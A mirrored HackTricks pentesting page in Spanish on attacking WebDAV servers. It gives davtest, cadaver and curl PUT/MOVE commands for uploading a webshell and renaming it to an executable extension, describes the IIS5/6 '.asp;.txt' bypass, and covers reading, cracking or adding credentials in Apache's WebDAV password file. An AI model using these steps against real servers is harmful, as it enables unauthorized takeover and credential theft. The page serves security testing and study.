mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 12:18:52 +00:00
129 lines
7.5 KiB
Markdown
129 lines
7.5 KiB
Markdown
# WebDav
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Un **servidor HTTP con WebDav** activo es un servidor donde probablemente puedas **actualizar, eliminar, mover, copiar** archivos. **A veces** necesitas tener **credenciales válidas** (usualmente se verifica con Autenticación Básica HTTP).
|
|
|
|
Deberías intentar **subir** algún **webshell** y **ejecutarlo** desde el servidor web para tomar control sobre el servidor.\
|
|
Normalmente, para **conectar** a un servidor WebDav necesitarás **credenciales válidas**: [**Fuerza bruta en WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Autenticación Básica)_.
|
|
|
|
Otra configuración común es **prohibir la subida** de archivos con **extensiones** que serán **ejecutadas** por el servidor web, deberías verificar cómo **sortear esto**:
|
|
|
|
* **Subir** archivos con **extensiones ejecutables** (quizás no esté prohibido).
|
|
* **Subir** archivos **sin extensiones ejecutables** (como .txt) e intentar **renombrar** el archivo (mover) con una **extensión ejecutable**.
|
|
* **Subir** archivos **sin extensiones ejecutables** (como .txt) e intentar **copiar** el archivo (mover) con **extensión ejecutable**.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** intenta **subir varios archivos con diferentes extensiones** y **verificar** si la extensión se **ejecuta**:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
Ejemplo de salida:
|
|
|
|
![](<../../.gitbook/assets/image (19) (1).png>)
|
|
|
|
Esto no significa que las extensiones **.txt** y **.html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
|
|
|
|
## Cadaver
|
|
|
|
Puedes usar esta herramienta para **conectarte al servidor WebDav** y realizar acciones (como **subir**, **mover** o **eliminar**) **manualmente**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## Solicitud PUT
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## Solicitud MOVE
|
|
```
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Vulnerabilidad de IIS5/6 WebDav
|
|
|
|
Esta vulnerabilidad es muy interesante. **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **evitar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se **ejecutará** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
|
|
|
|
Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se **ejecutará** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
|
|
|
|
![](<../../.gitbook/assets/image (18) (1) (1).png>)
|
|
|
|
## Credenciales de publicación
|
|
|
|
Si el Webdav utilizaba un servidor Apache deberías mirar los sitios configurados en Apache. Comúnmente:\
|
|
_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
Dentro de este podrías encontrar algo como:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Como puedes ver, están los archivos con las **credenciales** válidas para el servidor **webdav**:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
Dentro de este tipo de archivos encontrarás el **username** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav utiliza para autenticar a los usuarios.
|
|
|
|
Puedes intentar **crackear** los hashes, o **añadir más** si por alguna razón quieres **acceder** al servidor **webdav**:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Para verificar si las nuevas credenciales funcionan puedes hacer:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|